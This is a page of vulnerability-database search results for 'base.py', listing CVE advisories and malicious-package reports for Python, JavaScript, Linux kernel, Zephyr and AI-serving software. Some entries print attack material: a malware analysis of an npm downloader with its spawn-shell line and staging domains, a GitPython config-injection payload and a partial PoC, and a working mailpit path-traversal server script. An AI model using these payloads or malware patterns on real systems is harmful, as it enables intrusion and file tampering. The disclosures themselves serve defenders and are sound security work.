Search: base.py
213 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Medium | 6.6 | EPSS 0.4% | CVE-2025-69227Red Hat Security Advisory: Red Hat Ansible Automation Platform Execution Environments Update Medium6.6EPSS 0.4%GCVE DatabaseCVE-2025-69227 A vulnerability (CVE-2025-69227) in the aiohttp Python framework used by Red Hat Ansible Automation Platform Execution Environments can cause a denial of service (DoS) via an infinite loop triggered by a specially crafted POST request when Python optimizations are enabled. This affects applications using the Request.post() method under specific configurations. Red Hat has released an update to ansible-core version 2.18.19 to address this issue along with base image security fixes. | GCVE Database | ||
| Medium | 5.9 | EPSS 0.5% | Medium5.9EPSS 0.5%GCVE DatabaseCVE-2026-59924 A path traversal vulnerability exists in the mistune library's Include directive when processing markdown files using md.read(). This flaw allows crafted include paths to access files outside the intended markdown directory. The issue arises because the resolved file path is not verified to remain within a trusted base directory, enabling traversal sequences like ../ to escape the intended folder. Applications that process untrusted markdown with this directive enabled may inadvertently expose sensitive files. The vulnerability affects jupyterlab versions from 1.2.0 up to but not including 4.6.1. A fix is available in version 4.6.1. | GCVE Database | ||
| Medium | 6.9 | EPSS 0.7% | Medium6.9EPSS 0.7%GCVE Database The cryptography Python package versions from 45.0.1 up to but not including 46.0.7 contain a buffer overflow vulnerability when non-contiguous buffers are passed to certain APIs such as Hash.update(). This flaw is fixed in version 46.0.7. The vulnerability has a CVSS 4.0 base score of 6.9, indicating a medium severity level. | GCVE Database | ||
| Medium | 6.3 | EPSS 0.2% | CVE-2026-73557vllm · Race Condition Medium6.3EPSS 0.2%CVE Database V5CVE-2026-73557 CVE-2026-73557 is a race condition vulnerability in the vllm-project's vllm software affecting versions from 0.20.2rc0 up to but not including 0.26.0. It arises from improper synchronization of a process-global sparse tensor invariant guard in PyTorch 2.11.0 during concurrent prompt-embedding reconstruction within a single chat completion request. This can lead to invalid sparse tensor deserialization and subsequent unsafe dense tensor conversion. The vulnerability requires the --enable-prompt-embeds feature (default off) but does not require multiple workers or multimodal embeddings. The flaw allows a malicious payload to bypass the follow-up guard, potentially causing memory corruption or denial of service as documented in the related CVE-2025-62164. The CVSS 4.0 base score is 6.3 (medium severity). | CVE Database V5 | ||
| Medium | 6.5 | EPSS 0.4% | CVE-2026-65017Apache Airflow · Information Exposure Medium6.5EPSS 0.4%CVE Database V5CVE-2026-65017 Apache Airflow's Config API did not mask team-scoped sensitive configuration values in multi-team deployments. When an administrator has enabled multi-team mode and exposed the Config API, an authenticated Viewer holding only configuration-read access — with no prior access to the secret — could read a team-scoped Celery broker URL, including its embedded credentials, in cleartext, while the equivalent global option was correctly masked. The secrets masker matched only base section and option names and did not normalize team-prefixed sections before the sensitivity check (CWE-200). This is a distinct masker bypass from CVE-2026-48828 and CVE-2026-48892: deployments that upgraded to apache-airflow 3.3.0 to address those issues remain affected by this team-scoped variant. Users are advised to upgrade to apache-airflow 3.3.1 or later, which normalizes team-scoped sections before masking. | CVE Database V5 | ||
| High | 7.8 | EPSS 0.1% | CVE-2026-12234zephyrproject zephyr · Memory-safety High7.8EPSS 0.1%CVE Database V5CVE-2026-12234 The userspace syscall verifiers z_vrfy_zsock_sendmsg() and z_vrfy_zsock_recvmsg() in subsys/net/lib/sockets/sockets.c snapshot the caller-supplied struct net_msghdr into a kernel-side copy with k_usermode_from_copy(), but then re-read the still-live user struct for subsequent decisions. The kernel iovec shadow buffer is sized from one read of msg->msg_iovlen, while the population loop is bounded by a second, live read of the same field. Because msg points into ordinary user memory, a cooperating second thread in the same memory domain can inflate msg->msg_iovlen in the window between the sizing read and the loop test (a classic double-fetch / TOCTOU). The population loop then iterates past the number of net_iovec slots actually allocated, writing attacker-influenced iov_base/iov_len values beyond the end of the kernel-heap shadow buffer. The recvmsg verifier has the same defect on both its inbound and result write-back loops. The code is reachable from an unprivileged user thread whenever CONFIG_USERSPACE is enabled and the zsock_sendmsg/zsock_recvmsg syscalls are available. A successful race corrupts kernel-managed heap memory across the user-to-kernel privilege boundary, yielding a local privilege-escalation primitive or, at minimum, a kernel-fault denial of service. The fix copies the header once and derives every size, bound, and gate from the snapshot, copying each iovec entry atomically so its base and length can no longer be raced apart. EPSS 0.1%Vulnerability | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (79b553d84d7f4dc5347840ddb97f16738eed2e52ac9757b48d2cb31ba1af7122) The package name base65-12x typosquats the popular base-x base-encoding library and reuses base-x's repository as its homepage. Both the CJS entry (index.js around line 116) and the ESM entry (src/esm/index.js around line 114) append an approximately 123 KB top-level obfuscated block after a copy of the legitimate base-x source. The block installs a VM-style dispatcher on globalThis (registries named vmr_3f4688 and vmw_bf472f), manipulates Object.defineProperty and __proto__, and contains multiple fetch references, so a network-capable code path is wired up and runs unconditionally when a consumer requires or imports the package. A base-encoding library has no functional need for a large globalThis-poisoning obfuscated VM with network fetch at module top level; the payload is duplicated across both module systems so it fires for CJS and ESM consumers alike. ## Source: ghsa-malware (4891fcf0d0e6192d9be14faf68411bd475129a1245b5c863a9daaa6f66e66166) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| High | 7.8 | EPSS 0.1% | High7.8EPSS 0.1%GCVE DatabaseCVE-2026-68266 In the Linux kernel, the following vulnerability has been resolved: drm/xe: Hold a dma-buf reference for imported BOs An imported dma-buf BO is created as a ttm_bo_type_sg BO whose reservation object is the exporter's dma_buf->resv. The importer, however, only takes a dma-buf reference after a successful dma_buf_dynamic_attach(). Until then nothing keeps the exporter alive, so if the exporter is freed while the BO still references its resv, a later access to that resv is a use-after-free: Oops: general protection fault, probably for non-canonical address 0x6b6b6b6b6b6b6b9c Workqueue: ttm ttm_bo_delayed_delete [ttm] RIP: 0010:mutex_can_spin_on_owner+0x3f/0xc0 This can be reached on two paths: - dma_buf_dynamic_attach() fails, or - ttm_bo_init_reserved() fails during BO creation. In both cases the BO already has bo->base.resv pointing at the exporter resv, and sg BOs are always torn down via ttm_bo_delayed_delete(), which locks bo->base.resv asynchronously - potentially after the exporter has been freed. Take the dma-buf reference in xe_bo_init_locked(), before ttm_bo_init_reserved(), so it also covers a creation failure there, and release it in xe_ttm_bo_destroy(). The reference is held for the whole BO lifetime, keeping the shared resv alive on every path. v2: - Reworked the fix to avoid creating the imported sg BO before dma_buf_dynamic_attach() succeeds. - Attach with importer_priv == NULL and make invalidate_mappings ignore incomplete imports. v3: - Dropped the xe-side reordering approach since importer_priv must be valid when dma_buf_dynamic_attach() publishes the attachment. - Per Christian's suggestion on the v1 thread, keyed the check on import_attach rather than removing the sg guard entirely. - Fixes both xe and amdgpu in a single TTM patch. v4: - Moved import_attach check to after dma_resv_copy_fences() so fences are copied before returning for successful imports (Thomas). - Removed exporter-alive claim from commit message (Thomas). v5: - Add drm/xe patch to keep imported sg BOs off the LRU before attach succeeds; the TTM fix alone is not sufficient for xe if the BO is already LRU-visible. (Thomas) v4 patch: https://patchwork.freedesktop.org/patch/736663/?series=169129&rev=2 - Patch 1 (drm/ttm) carries Christian's Reviewed-by from v4. v6: - Reworked the fix based on Thomas' suggestion. Instead of the TTM resv individualization (v1-v5) plus the xe off-LRU/placement handling (v5), just hold a dma-buf reference for the imported BO lifetime so the shared resv can never be freed while the BO still references it. Single xe patch, no TTM change. (Thomas) - Take the reference in xe_bo_init_locked() before ttm_bo_init_reserved() so a TTM creation failure is covered too (Thomas). - Dropped the v5 series (drm/ttm + drm/xe off-LRU); the off-LRU approach also regressed in CI BAT via ttm_bo_pipeline_gutting() creating a ghost BO that outlived the exporter. Link to v5: https://patchwork.freedesktop.org/series/169984/ v7: - Move changelog above --- so it stays in the commit message. - Reorder changelog entries oldest-to-newest. (Thomas) (cherry picked from commit 3516f3fae6be35642f8f06f8a218da6425c0306a) | GCVE Database | ||
| Medium | 6.6 | EPSS 0.1% | CVE-2026-11743zephyrproject zephyr · Bounds Medium6.6EPSS 0.1%CVE Database V5CVE-2026-11743 The SF32LB MPI QSPI NOR flash driver (drivers/flash/flash_sf32lb_mpi_qspi_nor.c) validated the flash offset and length on its read and write paths with the test (offset + size) > data->size. Because offset is a signed off_t while size is unsigned, a negative offset is converted to a large unsigned value and the addition can wrap to a small result that passes the check. The read path then performs memcpy(dst, (void *)(data->base + offset), size) and the write path programs flash at offset and cache-invalidates data->base + offset, in both cases accessing memory outside the mapped flash window. The driver's erase path already rejected negative offsets, but read and write did not. In builds with CONFIG_USERSPACE, flash_read and flash_write are syscalls whose verifiers validate the device object and the caller's buffer but deliberately delegate offset bounds checking to the driver. An unprivileged thread that has been granted access to this flash device can therefore call the syscall with a crafted negative offset and a buffer valid in its own memory domain, and reach the unchecked access. The most direct impact is on the read path: by choosing a negative offset and matching size, an attacker slides the memcpy source below the flash base and copies arbitrary CPU-addressable memory into its own buffer, disclosing memory it is not authorized to read. The write path additionally allows programming flash at an out-of-range address and invalidating an attacker-chosen cache range, affecting integrity and availability. Reachability requires userspace to be enabled and the raw flash device object to be granted to an untrusted thread. The fix replaces the check with qspi_nor_range_is_valid(), which rejects negative offsets and performs the bound comparison in overflow-safe 64-bit arithmetic on both paths, and additionally adds an SRAM DMA bounce buffer plus source/destination overlap rejection to prevent a separate DMA bus-hang condition. EPSS 0.1%Vulnerability | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database The cdktn-provider-azurerm package on PyPI is a malicious package impersonating the legitimate HashiCorp cdktf-provider-azurerm by using a single-character substitution in its name and mimicking branding. It forces installation of a malicious base package 'cdktn' that executes attacker-controlled code during import, potentially compromising the installer's Python environment. This package version 17.0.0 is affected. There is no CVSS score or known exploits in the wild reported. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (6a7f83a18ee0f4d41331997bd85740febbb8d8e581fa9026b83112e55d2b8320) On `require('dlp-dlp-core')`, index.js loads setup.js which selects a platform-specific path (/pkg/package, /pkg/package-arm64, /pkg/loader_mac, /pkg/package.exe), downloads bytes over HTTPS from string-obfuscated Cloudflare Workers mirrors (oob-worker.cf102-baf.workers.dev, cf103-070, cf100-416, cf99-9b3.workers.dev), writes them to /var/tmp/.cache_<hex> or Temp/dotnet_diag_<hex>.exe, chmods 0755, and detached-spawns them via `spawn('/bin/sh', ['-c', filePath + ' &'], {detached: true})` or `spawn('cmd',...)`. A fallback covert-retrieval channel uses DNS TXT lookups against sdk.dl.wel1.ru, ext.dl.wel1.ru, pkg.dl.wel1.ru, and net.dl.wel1.ru, reassembling base64 chunks and executing the result. Network destinations, DNS domains, and the `child_process` module name are constructed via array-split/join to evade static analysis; the dropped file paths use cover names (dotnet_diag,.cache_,.analytics_state). lib/telemetry.js (81KB) ships a second copy of the downloader/executor with the same shape. The package's stated purpose ("base framework module / foundational types") does not correspond to any code in the tarball; the entire codebase is fetch-and-execute scaffolding. Env-var opt-outs (DISABLE_TELEMETRY, ANALYTICS_OPT_OUT, DO_NOT_TRACK) provide a telemetry cover story. ## Source: ghsa-malware (4d8a946128772ae0620d8f9347bb2cec10baec4abd302745a2cf93d035eeecc8) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| High | 8.4 | EPSS 0.2% | CVE-2026-47764pdm · Path Traversal High8.4EPSS 0.2%CVE Database V5CVE-2026-47764 pdm is a Python package and dependency manager supporting the latest PEP standards. Versions prior to 2.27.0 are vulnerable to path traversal through write_to_fs. InstallDestination.write_to_fs() in src/pdm/installers/installers.py overrides the base class to add symlink/hardlink support but replaces the safe _path_with_destdir() (which validates via Path.resolve() + is_relative_to()) with a bare os.path.join() that performs no path validation. A malicious wheel with traversal entries can write arbitrary files. This issue has been fixed in version 2.27.0. | CVE Database V5 | ||
| High | 7.3 | EPSS 0.3% | CVE-2026-69097GitPython · Injection High7.3EPSS 0.3%CVE Database V5CVE-2026-69097 ### Summary In GitPython `<= 3.1.52`, the config writer neutralizes only CR, LF, and NUL in configuration **names**, but writes section names into the `[...]` header with no other escaping. A section/subsection name that contains `] [ "` closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule **name** is attacker-controlled data (it comes from a repository's `.gitmodules`, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted `.git/config`, an attacker can set `core.sshCommand` (or `alias.*`, `core.pager`, `core.fsmonitor`) and achieve remote code execution on the victim's next git operation. Likely **CWE-74 (Injection)**. This is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed **newline** injection into config values/names (patched in 3.1.50); the `[r\n\x00]` guard added for them does not stop a **same-line** section break inside a name. ### Details The only guard applied to section/option names before writing is `_assure_config_name_safe`, which uses a regex that matches solely CR/LF/NUL: `git/config.py:75,897-899` (`GitPython 3.1.52`): ```python UNSAFE_CONFIG_CHARS_RE = re.compile(r"[\r\n\x00]") ... def _assure_config_name_safe(self, name: "cp._SectionName", label: str) -> None: if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name): raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label) ``` The name is then serialized into the header with no escaping of `]`, `[`, `"`, space, `=` or `#`: `git/config.py:693`: ```python fp.write(("[%s]\n" % name).encode(defenc)) ``` For submodules the name is wrapped as `submodule "<name>"` (`git/objects/submodule/util.py:39`, `return f'submodule "{name}"'`), which supplies the balancing quote. A submodule named: ``` x"] [core] sshCommand=CMD # ``` therefore serializes to the header `[submodule "x"] [core] sshCommand=CMD #"]`. git parses everything after the first `]` on that line as a fresh section, yielding `core.sshCommand=CMD` (the trailing `#"]` is an inline comment). No CR/LF/NUL appears, so `_assure_config_name_safe` never fires. The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's `.git/config`: - `Repo.create_submodule(name=<untrusted>, ...)` → `Submodule.add` → `git/objects/submodule/base.py:619` `writer.set_value(sm_section(name), "url", url)` — a single call, no hostile remote required. - `Repo.clone_from(<hostile url>)` + `repo.submodule_update(init=True)` → `git/objects/submodule/base.py:855` `writer.set_value(sm_section(self.name), "url", self.url)`, where `self.name` is read unvalidated from the cloned repo's `.gitmodules`. Asymmetry: the sibling class is blocked — a newline in a config **value**, e.g. `set_value("core", "editor", "x\n\tsshCommand=CMD")`, raises `ValueError`. The section-**name** bracket payload is not caught by the same guard. ### PoC Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with `git config --get`; no ssh/fetch/push is run and nothing is executed. ```python #!/usr/bin/env python3 """Minimal PoC: git-config section-name injection in GitPython==3.1.52.""" from importlib.metadata import version import os, tempfile, subprocess import git print(f"# GitPython {version('GitPython')}") # version proof -- first line MARKER = "MARKER_9f3a" # inert; never executed tmp = tempfile.mkdtemp() env = {**os.environ, "HOME": tmp, "GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"), "GIT_CONFIG_SYSTEM": os.devnull, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@b.c", "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@b.c"} def run(*a, cwd=None): return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True) # A benign local repo used as the submodule url (a plain path, no network). src = os.path.join(tmp, "src"); os.makedirs(src) run("git", "init", "-q", src) open(os.path.join(src, "f"), "w").write("x") run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src) suburl = os.path.join(tmp, "sub.git"); run("git", "clone", "-q", "--bare", src, suburl) def parent_repo(): p = tempfile.mkdtemp(dir=tmp) run("git", "init", "-q", p) open(os.path.join(p, "r"), "w").write("x") run("git", "add", "r", cwd=p); run("git", "commit", "-qm", "i", cwd=p) return p def injected_sshcommand(parent): r = run("git", "config", "-f", os.path.join(parent, ".git", "config"), "--get", "core.sshCommand") return (r.returncode, r.stdout.strip()) benign = "docs" evil = f'x"] [core] sshCommand={MARKER} #' # closes the header, opens [core] p_control = parent_repo() git.Repo(p_co | CVE Database V5 | ||
| High | 8.3 | EPSS 0.5% | CVE-2026-69086siyuan · Path Traversal High8.3EPSS 0.5%CVE Database V5CVE-2026-69086 **CVE:** This vulnerability corresponds to [CVE-2026-69086](https://nvd.nist.gov/vuln/detail/CVE-2026-69086). ### Summary Four attribute-view read endpoints build a filesystem path from a caller-controlled `id`/`avID` and read it without confining the result to the attribute-view storage directory (`DataDir/storage/av/`). On the load (file-exists) code path there is no boundary check, so an `avID` containing `../` segments escapes `storage/av/` and causes the kernel to read a `.json` file elsewhere in the workspace. The endpoints require only `CheckAuth`, which the publish service's `RoleReader` token satisfies; when `Publish.Auth.Enable` is `false` the publish proxy uses the anonymous account, making the surface reachable with no credentials. ### Details Affected endpoints (all gated by `CheckAuth` only, no `CheckAdminRole`): - `POST /api/av/renderAttributeView` → `arg["id"]` - `POST /api/av/getAttributeViewKeysByID` → `arg["avID"]` - `POST /api/av/getAttributeViewKeys` → `arg["id"]` - `POST /api/av/getCurrentAttrViewImages` → `arg["id"]` In `model.RenderAttributeView` (`model/attribute_view_render.go`), the only identifier guard `ast.IsNodeIDPattern(avID)` sits **inside** the `if !filelock.IsExist(existPath)` (create) branch: ```go existPath = GetAttributeViewDataPath(avID) // path built from avID, no check if !filelock.IsExist(existPath) { // NOT-EXIST / CREATE branch if !createIfNotExist { return // NotFound } if !ast.IsNodeIDPattern(avID) { // <-- ONLY id guard, create branch only return ErrInvalidID } // ... create ... } attrView, err = av.ParseAttributeView(avID) // LOAD runs unconditionally ``` When the traversal `avID` resolves to a file that already exists, the `!filelock.IsExist(...)` condition is `false`, the entire block (including the line with `ast.IsNodeIDPattern`) is skipped, and control falls straight through to `av.ParseAttributeView(avID)`. That function rebuilds the path via `filepath.Join(DataDir, "storage", "av", avID+".json")` and calls `filelock.ReadFile` with no `filepath.Rel` / `IsSubPath` / `..` rejection: ```go // av.ParseAttributeView -> attributeViewDataPathByBox / GetAttributeViewDataPath avJSONPath = filepath.Join(DataDir, "storage", "av", avID+".json") // no boundary check // -> parseAttributeViewByPathInBox(avJSONPath, boxID) data, _ = filelock.ReadFile(avJSONPath) // SINK ``` `filepath.Join` cleans the path but does **not** reject `..` segments, so it provides no containment. The three `getAttributeView*` endpoints call `ParseAttributeView` with no create branch at all, so they never even reach the `ast.IsNodeIDPattern` check same defect, same auth tier. The root cause is that identifier validation is placed on a single code branch rather than confining the load to the AV base directory, so the load path reads a caller-controlled location. ### PoC **Precondition:** publish mode enabled (default port `6808`); reachable by a `RoleReader` publish token, or anonymously when `Publish.Auth.Enable` is `false`. A request to `/api/av/renderAttributeView` with an `id` composed of `../` path segments that resolves to an existing `.json` file outside `DataDir/storage/av/` causes that file to be read and parsed instead of being rejected, because the identifier validation is only reached on the not-exist/create branch. I have withheld the exact encoded `id` value from this draft to avoid publishing a live traversal against internet-exposed publish instances. I'm happy to provide the precise value and a screenshot privately in this thread on request. ### Impact An authenticated publish `RoleReader` or an anonymous client when publish auth is disabled can cause the kernel to read `.json` files outside the attribute-view directory. Because the loaded file is unmarshalled into the attribute-view structure, the reliable primitives are: 1. Disclosure of attribute-view (database) content from other scopes/notebooks the reader is not authorized to see. 2. A `.json`-path existence oracle for arbitrary workspace locations. Files not conforming to the AV schema are read but reflect little content, and the `.json` suffix is force-appended, so this is **not** a general arbitrary-file read. No admin role, CSRF token, or write permission is required. ### Suggested fix Validate `avID` with `ast.IsNodeIDPattern` before path construction on **all** branches (move it ahead of `FindAttributeViewPath` / `GetAttributeViewDataPath`), or preferably, so every caller inherits it confine at the sink: in `attributeViewDataPathByBox` / `GetAttributeViewDataPath`, compute the joined path and reject it unless `filepath.Rel(avBaseDir, cleaned)` stays within `avBaseDir` (no leading `..`). Sink-side confinement also covers the three `getAttributeView*` endpoints that never reach the create-branch guard. | CVE Database V5 | ||
| Critical | 9.8 | EPSS 1.0% | Critical9.8EPSS 1.0%GCVE DatabaseCVE-2026-15969 Overview Six vulnerabilities have been discovered within the SGLang project, including remote code execution (RCE), server-side request forgery (SSRF), local file read, credential leakage, and model weight exfiltration on a target server. Exploitation does not require authentication in most cases, and some vulnerabilities require only network access with no API keys or user credentials. At the time of publication, no patches are available from the project maintainers, and coordination attempts have been unsuccessful. Description SGLang is an open-source framework for serving large language models (LLMs) and multimodal AI models, supporting models such as Qwen, DeepSeek, Mistral, and Skywork, and is compatible with OpenAI APIs. Six vulnerabilities have been discovered within the tool and are tracked as follows: CVE-2026-15969 SGLang contains unauthenticated RCE in /load_lora_adapter_from_tensors by bypass of SafeUnpickler’s incomplete denylist, allowing arbitrary command execution through crafted base64-encoded pickle payloads. CVE-2026-15971 SGLang contains an RCE vulnerability when the optional dumper subsystem is enabled, which allows for a sandbox escape when DUMPER_SERVER_PORT is set, enabling code execution on inference requests. CVE-2026-15974 SGLang contains an SSRF and local file read in the multimodal generation endpoint /v1/chat/completions because image_url input is unsanitized, allowing access to internal metadata, secrets, and services. CVE-2026-15976 SGLang contains a RCE vulnerability when attempting to load model weights from a HuggingFace repository, specifically within the /update_weights_from_disk , where torch.load(..., weights_only=False) fallback enables pickle deserialization of .bin files. CVE-2026-15977 SGLang contains a credential leakage vulnerability in the /server_info endpoint, which returns API keys and SSL keyfile information when only the --admin-api-key is configured. CVE-2026-15978 SGLang contains a model weight exfiltration vulnerability when no API keys are configured, because SGLang will expose two endpoints that allow a remote attacker to trigger distributed weight broadcasting using NCCL and then triggering data transfer, attackers can exfiltrate all model weights. Impact If exploited, these vulnerabilities could allow an unauthenticated attacker to achieve remote code execution, exfiltrate model weights, or overwrite arbitrary files on the host machine running SGLang. Deployments that expose the affected interface to untrusted networks are at the highest risk of exploitation. Solution Until a patch is available, affected users should consider the following mitigations: Mitigations Restrict access to the service interfaces and ensure they are not exposed to untrusted networks. Implement network segmentation and access controls to prevent unauthorized interaction with the vulnerable endpoints. Change SGLANG_USE_PICKLE_IPC to "false" within environ.py . Disable endpoints not in use to remove potential attack vectors. The SGLang maintainers have begun addressing pickle deserialization vulnerabilities and are working to refactor the code base with msgpack to prevent deserialization issues such as CVE-2026-14890, but the SGLANG_USE_PICKLE_IPC defaults to true within the codebase at the time of writing. Acknowledgements Thanks to the reporter, Apoorv Dayal [apoorvdayal@outlook.com]. This document was written by Christopher Cullen. Vendor Information One or more vendors are listed for this advisory. Please reference the full report for more information. References https://github.com/sgl-project/sglang/security/advisories/GHSA-2wvm-gjg7-5jfm https://github.com/sgl-project/sglang/security/advisories/GHSA-h6rf-77vv-9mvj https://github.com/sgl-project/sglang/security/advisories/GHSA-wf98-gv64-5wrf https://github.com/sgl-project/sglang/security/advisories/GHSA-x7w5-h7rp-gfp9 https://github.com/sgl-project/sglang/security/advisories/GHSA-jx7q-p32r-7wx8 https://github.com/sgl-project/sglang/security/a… | GCVE Database | ||
| Critical | 9.8 | EPSS 0.9% | CVE-2026-12940IBM Langflow OSS · OS Command Injection Critical9.8EPSS 0.9%CVE Database V5CVE-2026-12940 IBM Langflow OSS 1.0.0 through 1.10.1 are vulnerable to unauthenticated remote code execution via environment variable injection in the MCP (Model Context Protocol) stdio launcher. The vulnerability exists in src/lfx/src/lfx/base/mcp/util.py where the DANGEROUS_ENV_VARS blocklist fails to include SHELLOPTS , BASHOPTS , and PS4 environment variables. | CVE Database V5 | ||
| Medium | 6.3 | EPSS 0.3% | Medium6.3EPSS 0.3%CVE Database V5CVE-2026-61266 Vulnerability in the Oracle Supply Chain Globalization product of Oracle E-Business Suite (component: Copy Inventory Organization). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Supply Chain Globalization. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Supply Chain Globalization accessible data as well as unauthorized read access to a subset of Oracle Supply Chain Globalization accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Supply Chain Globalization. CVSS 3.1 Base Score 6.3 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L). | CVE Database V5 | ||
| High | 7.5 | EPSS 0.4% | CVE-2026-16378Mozilla Firefox · Improper Input Validation High7.5EPSS 0.4%CVE Database V5CVE-2026-16378 CVE-2026-16378 is a vulnerability in Mozilla Firefox affecting the DOM Copy & Paste and Drag & Drop component. It was fixed in Firefox version 153. The vulnerability has a CVSS 3.1 base score of 7.5, indicating high severity, with a network attack vector, low attack complexity, no privileges or user interaction required, and impacts confidentiality. The issue allows unauthorized access to information but does not affect integrity or availability. Mozilla has released an official fix in Firefox 153. No known exploits in the wild have been reported. | CVE Database V5 | ||
| Medium | 5.9 | EPSS 0.4% | CVE-2026-45711axllent mailpit · Path Traversal Medium5.9EPSS 0.4%CVE Database V5CVE-2026-45711 ### Summary The mailpit dump --http <base-url> <out-dir> sub-command downloads every message from a remote Mailpit instance and writes each one as <id>.eml inside the user-supplied output directory. The message ID field is taken verbatim from the JSON response of the remote server and concatenated into the output path with path.Join, which silently normalizes .. segments. A malicious HTTP server impersonating Mailpit can therefore make mailpit dump write attacker-controlled bytes to any path the running user can write, fully outside the intended output directory. ### Details Anyone who can convince a user to run mailpit dump --http <attacker-url> <dir> (typosquat, phishing tutorial, MITM of a plain-http:// Mailpit, or a compromised internal Mailpit they back up regularly) obtains an arbitrary file write primitive as the dumping user. Realistic post-exploitation includes overwriting init/cron files, shell startup files, CI artifact upload targets, web roots, etc. — anything the dumping user can write to, with attacker-controlled file bytes and a .eml filename suffix. ### Affected code [internal/dump/dump.go](https://github.com/axllent/mailpit/blob/develop/internal/dump/dump.go#L118-L155): path.Join("/safe/out/dir", "../../../../etc/cron.d/payload.eml") resolves to /etc/cron.d/payload.eml — the .. segments are normalized, not rejected. The remote server controls both m.ID (path) and the body of /api/v1/message/<id>/raw (contents). There is no filepath.Rel(outDir, out) containment check, no allow-list on m.ID characters, and no body-size cap. The underlying cause is that the command was added to back up a trusted Mailpit, but the trust model on the wire never gets validated — the operator only supplies a URL. ### PoC 1. Run a malicious "Mailpit" server that returns one message whose ID contains .. segments: ```python # evil-mailpit.py import http.server, json class Evil(http.server.BaseHTTPRequestHandler): def do_GET(self): if "/api/v1/messages" in self.path: resp = { "total": 1, "unread": 0, "count": 1, "messages_count": 1, "messages_unread": 0, "start": 0, "tags": [], "messages": [{ "ID": "../../../../tmp/mailpit-pwn", # ← traversal "MessageID": "x", "Read": False, "From": {"Name": "", "Address": "a@b"}, "To": [{"Name": "", "Address": "c@d"}], "Cc": None, "Bcc": None, "ReplyTo": [], "Subject": "evil", "Created": "2026-01-01T00:00:00Z", "Tags": [], "Size": 5, "Attachments": 0, "Snippet": "" }] } body = json.dumps(resp).encode() ctype = "application/json" elif "/raw" in self.path: body = b"PWNED BY MAILPIT DUMP TRAVERSAL\n" ctype = "text/plain" else: self.send_response(404); self.end_headers(); return self.send_response(200) self.send_header("Content-Type", ctype) self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) http.server.HTTPServer(("127.0.0.1", 19090), Evil).serve_forever() ``` ``` $ python3 evil-mailpit.py & $ mkdir -p /tmp/dump-out $ mailpit dump --http http://127.0.0.1:19090/ /tmp/dump-out ``` 2. Observe the file was written outside the requested output directory: ``` $ ls -la /tmp/dump-out/ /tmp/mailpit-pwn.eml /tmp/dump-out/ ← empty total 0 -rw-r--r-- 1 user user 31 May 11 16:16 /tmp/mailpit-pwn.eml $ cat /tmp/mailpit-pwn.eml PWNED BY MAILPIT DUMP TRAVERSAL ``` The same primitive trivially targets ~/.config/autostart/*.eml, ~/.bash_logout.eml (where it overwrites if symlinked), CI artifact dirs that ingest every file, or via long ../ chains any absolute path the user can write to. ### Impact Arbitrary file write via path traversal in mailpit dump --http, allowing a malicious Mailpit-compatible server to force writes outside the intended output directory. This can lead to overwriting sensitive files (e.g. cron jobs, CI artifacts, shell configs) and potential code execution depending on write location and privileges. | CVE Database V5 | ||
| Medium | 5.1 | EPSS 0.3% | CVE-2026-16073AstrBotDevs AstrBot · Cross-site Scripting Medium5.1EPSS 0.3%CVE Database V5CVE-2026-16073 A security vulnerability has been detected in AstrBotDevs AstrBot up to 4.25.2. Affected by this issue is the function Star.text_to_image/NetworkRenderStrategy.render of the file astrbot/core/star/base.py of the component T2I Feature. The manipulation leads to cross site scripting. The attack is possible to be carried out remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way. EPSS 0.3%Vulnerability | CVE Database V5 |
Page 9 of 15